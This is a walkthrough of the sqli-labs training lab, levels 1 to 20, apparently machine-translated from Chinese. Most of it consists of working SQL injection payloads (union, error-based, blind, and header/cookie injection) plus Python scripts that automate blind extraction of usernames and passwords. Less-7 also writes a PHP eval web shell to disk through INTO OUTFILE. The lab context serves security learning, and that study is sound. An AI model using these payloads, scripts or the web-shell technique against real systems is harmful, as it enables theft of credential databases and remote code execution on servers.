Sqli-labs
Page-1(Basic Challenges)
Less-1
Order by judgment display bit
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' order by 4 --+
It can be seen that the display bit is 3
Then construct the payload to explode the database and the table.
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema='security'; --+
#爆表
Explosive field
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,database(),group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'; --+
Finish
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,group_concat(username),group_concat(password) from users --+
Less-2
First determine that it is a numeric type, and use order by to determine the display position. It seems that # has been filtered, so use –+ instead.
Exploding databases, exploding tables, exploding fields, end
Less-3
First determine whether it is a character type or a numeric type. I tried to use discovery and order by to check the display position. I found that no matter how I entered it, it didn't work. Then I looked at the error message carefully and found that it was a problem with the closing method. I used closed here, and then I can judge the display position ')
.
Exploding databases, exploding tables, exploding fields, end
Less-4
According to the error report, I know that it is a problem with the closing method. It can be seen that it is ”)
closed and then query the display position.
Exploding tables, exploding databases, exploding fields, end
Less-5
Judgment is the closed form of single quotation marks, and the displayed bit is 3
Test, get fooled, it's all You are in... It's a blind bet
Try error injection
http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and updatexml(1,concat(0x7e,(database()),0x7e),1) --+
Get the library name, and then explode the fields one by one to get the username and password.
http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database() ),0x7e),3) --+
http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e),3) --+
Finally, part of the data was obtained, but it was not fully displayed. It seemed that the echo had a length limit.
http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and updatexml(1,concat(0x7e,(select group_concat(username) from users),0x7e),3) --+
Use python script to get data
# -*- coding:utf-8 -*-
# Author: mochu7
import requests
import typing
def ascii_str(): # 生成库名表名字符所在的字符列表字典
str_list = []
for i in range(33, 127): # 所有可显示字符
str_list.append(chr(i))
# print('可显示字符:%s'%str_list)
return str_list # 返回字符列表
def db_length(url, str):
print("[-]开始测试数据库名长度.......")
num = 1
while True:
db_payload = url + "' and (length(database())=%d)--+" % num
r = requests.get(db_payload)
if str in r.text:
db_length = num
print("[+]数据库长度:%d\n" % db_length)
db_name(db_length) # 进行下一步,测试库名
break
else:
num += 1
def db_name(db_length):
print("[-]开始测试数据库名.......")
db_name = ''
str_list = ascii_str()
for i in range(1, db_length + 1):
for j in str_list:
db_payload = url + "' and (ord(mid(database(),%d,1))='%s')--+" % (i, ord(j))
r = requests.get(db_payload)
if str in r.text:
db_name += j
break
print("[+]数据库名:%s\n" % db_name)
tb_piece(db_name) # 进行下一步,测试security数据库有几张表
return db_name
def tb_piece(db_name):
print("开始测试%s数据库有几张表........" % db_name)
for i in range(100): # 猜解库中有多少张表,合理范围即可
tb_payload = url + "' and %d=(select count(table_name) from information_schema.tables where table_schema='%s')--+" % (i, db_name)
r = requests.get(tb_payload)
if str in r.text:
tb_piece = i
break
print("[+]%s库一共有%d张表\n" % (db_name, tb_piece))
tb_name(db_name, tb_piece) # 进行下一步,猜解表名
def tb_name(db_name, tb_piece):
print("[-]开始猜解表名.......")
table_list = []
for i in range(tb_piece):
str_list = ascii_str()
tb_length = 0
tb_name = ''
for j in range(1, 20): # 表名长度,合理范围即可
tb_payload = url + "' and (select length(table_name) from information_schema.tables where table_schema=database() limit %d,1)=%d--+" % (i, j)
r = requests.get(tb_payload)
if str in r.text:
tb_length = j
print("第%d张表名长度:%s" % (i + 1, tb_length))
for k in range(1, tb_length + 1): # 根据表名长度进行截取对比
for l in str_list:
tb_payload = url + "' and (select ord(mid((select table_name from information_schema.tables where table_schema=database() limit %d,1),%d,1)))=%d--+" % (i, k, ord(l))
r = requests.get(tb_payload)
if str in r.text:
tb_name += l
print("[+]:%s" % tb_name)
table_list.append(tb_name)
break
print("\n[+]%s库下的%s张表:%s\n" % (db_name, tb_piece, table_list))
column_num(table_list, db_name) # 进行下一步,猜解每张表的字段数
def column_num(table_list, db_name):
print("[-]开始猜解每张表的字段数:.......")
column_num_list = []
for i in table_list:
for j in range(30): # 每张表的字段数量,合理范围即可
column_payload = url + "' and %d=(select count(column_name) from information_schema.columns where table_name='%s')--+" % (j, i)
r = requests.get(column_payload)
if str in r.text:
column_num = j
column_num_list.append(column_num) # 把所有表的字段,依次放入这个列表当中
print("[+]%s表\t%s个字段" % (i, column_num))
break
print("\n[+]表对应的字段数:%s\n" % column_num_list)
column_name(table_list, column_num_list, db_name) # 进行下一步,猜解每张表的字段名
def column_name(table_list, column_num_list, db_name):
global data_num
data_num = 0
print("[-]开始猜解每张表的字段名.......")
column_length = []
str_list = ascii_str()
column_name_list = []
for t in range(len(table_list)): # t在这里代表每张表的列表索引位置
print("\n[+]%s表的字段:" % table_list[t])
for i in range(column_num_list[t]): # i表示每张表的字段数量
column_name = ''
for j in range(1, 21): # j表示每个字段的长度
column_name_length = url + "' and %d=(select length(column_name) from information_schema.columns where table_name='%s' limit %d,1)--+" % (j - 1, table_list[t], i)
r = requests.get(column_name_length)
if str in r.text:
column_length.append(j)
break
for k in str_list: # k表示我们猜解的字符字典
column_payload = url + "' and ord(mid((select column_name from information_schema.columns where table_name='%s' limit %d,1),%d,1))=%d--+" % (table_list[t], i, j, ord(k))
r = requests.get(column_payload)
if str in r.text:
column_name += k
print('[+]:%s' % column_name)
column_name_list.append(column_name)
# print(column_name_list)#输出所有表中的字段名到一个列表中
dump_data(table_list, column_name_list, db_name) # 进行最后一步,输出指定字段的数据
def dump_data(table_list, column_name_list, db_name):
global data_num
data_num = 0
from typing import List
print("\n[-]对%s表的%s字段进行爆破.......\n" % (table_list[3], column_name_list[12:16]))
str_list = ascii_str()
for i in column_name_list[12:16]: # id,username,password字段
for j in range(101): # j表示有多少条数据,合理范围即可
data_num_payload = url + "' and (select count(%s) from %s.%s)=%d--+" % (i, db_name, table_list[3], j)
r = requests.get(data_num_payload)
if str in r.text:
data_num = j
break
print("\n[+]%s表中的%s字段有以下%s条数据:" % (table_list[3], i, data_num))
for k in range(data_num):
data_len = 0
dump_data = ''
for l in range(1, 21): # l表示每条数据的长度,合理范围即可
data_len_payload = url + "' and ascii(substr((select %s from %s.%s limit %d,1),%d,1))--+" % (i, db_name, table_list[3], k, l)
r = requests.get(data_len_payload)
if str not in r.text:
data_len = l - 1
for x in range(1, data_len + 1): # x表示每条数据的实际范围,作为mid截取的范围
for y in str_list:
data_payload = url + "' and ord(mid((select %s from %s.%s limit %d,1),%d,1))=%d--+" % (i, db_name, table_list[3], k, x, ord(y))
r = requests.get(data_payload)
if str in r.text:
dump_data += y
break
break
print('[+]%s' % dump_data) # 输出每条数据
if __name__ == '__main__':
url = "http://127.0.0.1/sqli-labs-master/Less-5/?id=1" # 目标url
str = "You are in" # 布尔型盲注的true&false的判断因素
db_length(url, str) # 程序入口
Less-6
As usual, the closing method is judged by double quotes.
Get the library name, and then follow the previous method to get the answer
But you can solve the problem of how to get complete results without using scripts.
method one:
You can use the limit clause to view them one by one.
?id=1" and updatexml(1,concat(0x7e,(select password from users limit 2,1),0x7e),1) --+
Method Two:
Use the mid function to intercept section by section
http://127.0.0.1/sqli-labs-master/Less-6/?id=1" and updatexml(1,concat(0x7e,mid((select group_concat(username) from users),30,31),0x7e),1) --+
Less-7
This level is different from the previous levels. We cannot judge the closing method by reporting an error.
Looked at the source code
$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
You can see that the closing method here is '))
that if you already know the closing method, you can use the script of the fifth level to perform Boolean blind injection.
After running, just change the closing method of each payload, for example:
Method Two:
Tips that we can use outfile
, that is, use files to solve this level
load_file() reads a file
Prerequisites: 1. The user authority is high enough, try to have root authority. 2. secure_file_priv is not NULL
The payload can be constructed to create the file:
http://127.0.0.1/sqli-labs-master/Less-7/?id=1')) union select 1,'<?php phpinfo() ?>',3 into outfile 'E:\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-7\\1.php' --+
Then go to the folder and you can see that the file has been written 1,php
and the content isphpinfo()
It is indeed possible to access
Then you can expand your thinking and write shell
a file, payload:
http://127.0.0.1/sqli-labs-master/Less-7/?id=1')) union select 1,'<?php @eval($_REQUEST["1"]) ?>',3 into outfile 'E:\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-7\\Leaf.php' --+
Then use Ant Sword to connect it
Less-8
Closed in single quotes, Boolean blind injection without error echo (so less-5 should be error injection), just run it with a script.
Less-9
The interface for this level is the same no matter what input is used, so it can only be 时间盲注
solved by directly entering the script.
import requests
import time
s = requests.session()
url = 'http://127.0.0.1/sqli-labs-master/Less-9/?id='
flag = ''
i = 0
while True:
i = i + 1
low = 32
high = 127
while low < high:
mid = (low + high) // 2
# 查询数据库:payload = f'1%0cand%0cif((ascii(substr(database(),{i},1))>{mid}),1,sleep(3))'
payload = f'1\'%0cand%0cif((ascii(substr(database(),{
i},1))>{
mid}),1,sleep(3)) --+'
# 查询数据表:payload = f'1\'%0cand%0cif(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),{i},1))>{mid},1,sleep(3)) --+'
# 查询表字段:payload = f'1\'%0cand%0cif(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name="wfy_comments")),{i},1))>{mid},1,sleep(3)) --+'
# 查询字段中信息:payload = f'1\'%0cand%0cif(ascii(substr((select(text)from(wfy_comments)where(user="f1ag_is_here")),{i},1))>{mid},1,sleep(3)) --+'
# 查询数据:payload = f'1\'%0cand%0cif(ascii(substr((select(text)from(wfy_comments)where(user="f1ag_is_here")),{i},1))>{mid},1,sleep(3)) --+'
stime = time.time()
url1 = url + payload
r = s.get(url=url1)
# r.encoding = "utf-8"
# print(payload)
if time.time() - stime < 2:
low = mid + 1
else:
high = mid
if low != 32:
flag += chr(low)
else:
break
print(flag)
Less-10
This level is the same as the previous level. It is a time blind injection, but this time the single quotation marks are changed to double quotation marks. Just change it.
Less-11
This time the injection is submitted in POST mode. Use burp to grab a package and try to order by
determine the display bit first.
You can see that when the number of characters is 3, an error will be reported, but when it is 2, there is no problem, so the display digits are two
Next, the database is exploded, payload:
uname=1&passwd=1' union select database(),2 --+ #&submit=Submit
Highlights:
uname=1&passwd=1' union select database(),group_concat(table_name) from information_schema.tables where table_schema=database() --+ #&submit=Submit
Bakuji stage name:
uname=1&passwd=1' union select database(),group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' --+ #&submit=Submit
Explosive data:
uname=1&passwd=1' union select group_concat(username),group_concat(password) from users --+ #&submit=Submit
get username
andpassword
Less-12
First determine the closure method. We can determine the closure by looking at the error message.
password
The value entered here is 1'")) and 1=1
, and then judge its error report
The error reported here is for ) and1=1") limit 0,1
the parsing error, so we can know that it is ")
closed, and then judge the display bit, the display bit is still 2
uname=1&passwd=1") union select 1,2# #&submit=Submit
Explosive library
uname=1&passwd=1") union select database(),2 --+ #&submit=Submit
Explosive
uname=1&passwd=1") union select database(),group_concat(table_name) from information_schema.tables where table_schema=database() --+ #&submit=Submit
Explosive field
uname=1&passwd=1") union select database(),group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' --+ #&submit=Submit
get data
uname=1&passwd=1") union select group_concat(username),group_concat(password) from users --+ #&submit=Submit
Less-13
Determine the closing method by reporting errors
You can determine the closing method ')
, and then determine the display digit, whether the display digit is still 2
But this time there is no response
Try error injection first:
uname=1&passwd=1') union select 1,(extractvalue(1,concat(0x7e,(select database())))) --+&submit=Submit
The error injection here has echo, so we can get the library name directly.
Then explode
uname=1&passwd=1') union select 1,(extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e))) --+&submit=Submit
Explosive field
uname=1&passwd=1') union select 1,(extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e))) --+&submit=Submit
Get the data. Since the data obtained by error injection cannot be displayed that long, we mid函数
intercept it section by section. Payload:
uname=1&passwd=1') union select 1,(extractvalue(1,concat(0x7e,mid((select group_concat(username) from users),1,31),0x7e))) --+&submit=Submit //得到用户名
uname=1&passwd=1') union select 1,(extractvalue(1,concat(0x7e,mid((select group_concat(password) from users),1,31),0x7e))) --+&submit=Submit //得到密码
Less-14
First determine the closing method, it is "
closed. The rest is the same as before, there is no echo, and error injection is reported directly.
Explosive library
uname=1&passwd=1" union select 1,(extractvalue(1,concat(0x7e,(select database())))) --+&submit=Submit
Explosive
uname=1&passwd=1" union select 1,(extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e))) --+&submit=Submit
Explosive field
uname=1&passwd=1" union select 1,(extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e))) --+&submit=Submit
get data
uname=1&passwd=1" union select 1,(extractvalue(1,concat(0x7e,mid((select group_concat(username) from users),1,31),0x7e))) --+&submit=Submit //得到用户名
uname=1&passwd=1" union select 1,(extractvalue(1,concat(0x7e,mid((select group_concat(password) from users),1,31),0x7e))) --+&submit=Submit //得到密码
Less-15
This level is a blind note. No matter how you input, there will be no response.
You can perform Boolean blind injection based on pictures, you can also perform time blind injection, and directly upload the script
import requests
import time
value = "0123456789abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ%&^@_.-!"
result = ""
def get_length(): # 获取数据的长度
for n in range(1, 100):
payload = "admin' and if((length(({0} ))={1}),sleep(4),1) #".format(data_payload, n)
data = {
"uname": payload, "passwd": "admin", "submit": "submit"}
start_time = time.time()
html = requests.post(url, data=data)
end_time = time.time()
use_time = end_time - start_time # 求出请求前后的时间差来判断是否延时了
if use_time > 3:
print("...... data's length is :" + str(n))
return n
def get_data(length): # 获取数据
global result
for n in range(1, length):
for v in value:
payload = "admin' and if((ascii(substr(({0} ),{1},1)) = '{2}'),sleep(5),1) #".format(data_payload, n,
ord(v))
data = {
"uname": payload, "passwd": "admin", "submit": "submit"}
start_time = time.time()
requests.post(url, data=data)
end_time = time.time()
use_time = end_time - start_time
# 为啥把sleep时间设这么长呢?原因是我这里时常会出现网络波动,有时候请求时间就有2秒多,为避免出现乱码,所以设长一点可以保证信息的准确性
if use_time > 4:
result += v
print("......" + result)
url = "http://127.0.0.1/sqli-labs-master/Less-15/"
#data_payload = "select group_concat(table_name,0x7e)from information_schema.tables where table_schema=database()"
data_payload="select group_concat(column_name,0x7e)from information_schema.columns where table_schema=database() and table_name='users'"
#data_payload="select group_concat(username)from users"
#data_payload="select group_concat(password)from users"
length = get_length() + 1 # 注意这里要长度加 1 因为 range(1,10)的范围是 1<= x <10
get_data(length)
print(".....data is :" + result)
However, there is something wrong with the output of the script. It is a bit difficult to distinguish each part. Come back and change it.
Less-16
The method is similar to the previous level. There is no echo and it is also a blind injection. Determine the closing method first.
This level is closed, just change ")
the above .admin'
admin")
import requests
import time
value = "0123456789abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ%&^@_.-!"
result = ""
def get_length(): # 获取数据的长度
for n in range(1, 100):
payload = "admin\") and if((length(({0} ))={1}),sleep(4),1) #".format(data_payload, n)
data = {
"uname": payload, "passwd": "admin", "submit": "submit"}
start_time = time.time()
html = requests.post(url, data=data)
end_time = time.time()
use_time = end_time - start_time # 求出请求前后的时间差来判断是否延时了
if use_time > 3:
print("...... data's length is :" + str(n))
return n
def get_data(length): # 获取数据
global result
for n in range(1, length):
for v in value:
payload = "admin\") and if((ascii(substr(({0} ),{1},1)) = '{2}'),sleep(5),1) #".format(data_payload, n,
ord(v))
data = {
"uname": payload, "passwd": "admin", "submit": "submit"}
start_time = time.time()
requests.post(url, data=data)
end_time = time.time()
use_time = end_time - start_time
# 为啥把sleep时间设这么长呢?原因是我这里时常会出现网络波动,有时候请求时间就有2秒多,为避免出现乱码,所以设长一点可以保证信息的准确性
if use_time > 4:
result += v
print("......" + result)
url = "http://127.0.0.1/sqli-labs-master/Less-16/"
data_payload = "select group_concat(table_name,0x7e)from information_schema.tables where table_schema=database()"
#data_payload="select group_concat(column_name,0x7e)from information_schema.columns where table_schema=database() and table_name='users'"
#data_payload="select group_concat(username)from users"
#data_payload="select group_concat(password)from users"
length = get_length() + 1 # 注意这里要长度加 1 因为 range(1,10)的范围是 1<= x <10
get_data(length)
print(".....data is :" + result)
Less-17
Tips for this level:password reset
I took a look at the source code and found that it is an error injection based on the update statement.
<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
function check_input($value)
{
if(!empty($value))
{
// truncation (see comments)
$value = substr($value,0,15);
}
// Stripslashes if magic quotes enabled
if (get_magic_quotes_gpc())
{
$value = stripslashes($value);
}
// Quote if not a number
if (!ctype_digit($value))
{
$value = "'" . mysql_real_escape_string($value) . "'";
}
else
{
$value = intval($value);
}
return $value;
}
// take the variables
if(isset($_POST['uname']) && isset($_POST['passwd']))
{
//making sure uname is not injectable
$uname=check_input($_POST['uname']);
$passwd=$_POST['passwd'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'User Name:'.$uname."\n");
fwrite($fp,'New Password:'.$passwd."\n");
fclose($fp);
// connectivity
@$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
//echo $row;
if($row)
{
//echo '<font color= "#0000ff">';
$row1 = $row['username'];
//echo 'Your Login name:'. $row1;
$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";
mysql_query($update);
echo "<br>";
if (mysql_error())
{
echo '<font color= "#FFFF00" font size = 3 >';
print_r(mysql_error());
echo "</br></br>";
echo "</font>";
}
else
{
echo '<font color= "#FFFF00" font size = 3 >';
//echo " You password has been successfully updated " ;
echo "<br>";
echo "</font>";
}
echo '<img src="../images/flag1.jpg" />';
//echo 'Your Password:' .$row['password'];
echo "</font>";
}
else
{
echo '<font size="4.5" color="#FFFF00">';
//echo "Bug off you Silly Dumb hacker";
echo "</br>";
echo '<img src="../images/slap1.jpg" />';
echo "</font>";
}
}
?>
It can be seen from the code audit that this level cannot be uname
injected because there is check_input
a function that will check the input value of username.
So we can only password
inject through. Through print_r(mysql_error())
we can know that our error message will be echoed, so we perform error injection.
First determine the closing method, it is "
closed, the rest is the same as before, there is no echo, error injection is reported directly, the closing method is '
'
Because this level requires an existing username to proceed update
, you can uname
enter it randomly.
Explosive library
uname=Dumb&passwd=1' and updatexml(1,concat(0x7e,(database()),0x7e),1) --+
Explosive
uname=Dumb&passwd=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database() ),0x7e),3) --+
Explosive field
uname=Dumb&passwd=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e),3) --+
get data
uname=DUMB&passwd=1' and updatexml(1,concat(0x7e,mid((select group_concat(username) from users),30,31),0x7e),1) --+ //得到用户名
uname=DUMB&passwd=1' and updatexml(1,concat(0x7e,mid((select group_concat(password) from users),30,31),0x7e),1) --+ //得到密码
But I don’t know why I keep getting errors when I get data here. That’s it. It should be a problem with my database version and permission settings.
Less-18
After entering the interface, you can see that there is an echo ofaddress is :.....
Take a look at the source code, here is the key
function check_input($value)
{
if(!empty($value))
{
// truncation (see comments)
$value = substr($value,0,20);
}
// Stripslashes if magic quotes enabled
if (get_magic_quotes_gpc())
{
$value = stripslashes($value);
}
// Quote if not a number
if (!ctype_digit($value))
{
$value = "'" . mysql_real_escape_string($value) . "'";
}
else
{
$value = intval($value);
}
return $value;
}
$uagent = $_SERVER['HTTP_USER_AGENT'];
$IP = $_SERVER['REMOTE_ADDR'];
echo "<br>";
echo 'Your IP ADDRESS is: ' .$IP;
echo "<br>";
if(isset($_POST['uname']) && isset($_POST['passwd']))
{
$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);
$sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
$result1 = mysql_query($sql);
$row1 = mysql_fetch_array($result1);
if($row1)
{
echo '<font color= "#FFFF00" font size = 3 >';
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
mysql_query($insert);
//echo 'Your IP ADDRESS is: ' .$IP;
echo "</font>";
//echo "<br>";
echo '<font color= "#0000ff" font size = 3 >';
echo 'Your User Agent is: ' .$uagent;
echo "</font>";
echo "<br>";
print_r(mysql_error());
echo "<br><br>";
echo '<img src="../images/flag.jpg" />';
echo "<br>";
}
else
{
echo '<font color= "#0000ff" font size="3">';
//echo "Try again looser";
print_r(mysql_error());
echo "</br>";
echo "</br>";
echo '<img src="../images/slap.jpg" />';
echo "</font>";
}
}
?>
It can be seen that there will be filtering here username
and here, but the variable is the value obtained directly from the above, and there is no filtering here.password
uagent
User-Agent
User-Agent
Therefore, it can be injected through the HTTP header. From the code, we can see that the query results will not be output directly, but an error will be output, so error injection is required.
And UA头注入
the premise for us is to log in successfully, otherwise it will prompt that the login failed, and the error result will not be echoed.
When constructing, you must first close it with single quotes. Also note that the insertion statement requires three parameters, so we also need three parameters when constructing. Because everything after the # sign is commented.
Database explosion, payload:
1',1,updatexml(1,concat(0x7e,(database()),0x7e),1))#
Highlights:
1',1,updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1))#
Explosive field
1',1,updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e),1))#
get data
Because the length of the data being searched here is limited to 32 bits, another function is used to intercept and display it in segments.
1',1,updatexml(1,substring(concat(0x7e,(select group_concat(username) from security.users),0x7e),1,32),1))# //得到用户名
1',1,updatexml(1,substring(concat(0x7e,(select group_concat(password) from security.users),0x7e),1,32),1))# //得到密码
Less-19
It seems that it is stillHTTP头部注入
Log in first and see where the injection point is.
It can be seen that it is Referer
the head
The parameters and closing methods here were directly blindly guessed by me. If you want to know more about it, you can check out the source code.
Explosive library
1',updatexml(1,concat(0x7e,(database()),0x7e),1))#
Highlights:
1',updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1))#
Explosive field
1',updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e),1))#
Get the data:
1',updatexml(1,substring(concat(0x7e,(select group_concat(username) from security.users),0x7e),1,32),1))# //得到用户名
1',updatexml(1,substring(concat(0x7e,(select group_concat(password) from security.users),0x7e),1,32),1))# //得到密码
Less-20
First log in with admin and view the interface after login.
I guess it's cookie injection. First grab a packet and then enter some random information in the cookie.
It’s totally overflowing, okay, okay, okay, okay
This question should have both error reporting and joint injection
Joint injection first, exploding the database
uname=-1' union select 1,2,database()#
Explosive
uname=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'#
Explosive field
uname=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'#
get data
uname=-1' union select 1,group_concat(username),group_concat(password) from users#
Error injection, database explosion
uname=-1'and updatexml (1,concat(0x7e,(select database()),0x7e),1)#
Explosive
uname=-1'and updatexml (1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)#
Explosive field
uname=-1'and updatexml (1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database()and table_name='users'),0x7e),1)#
get data
uname=-1'and updatexml (1,mid(concat(0x7e,(select group_concat(username) from users),0x7e),1,30),1)# //得到用户名
uname=-1'and updatexml (1,mid(concat(0x7e,(select group_concat(password) from users),0x7e),1,30),1)# //得到密码
It can be seen that Page1 is relatively basic SQL injection, and does not involve keyword filtering, etc. Let’s start page2 after a while and learn other things first.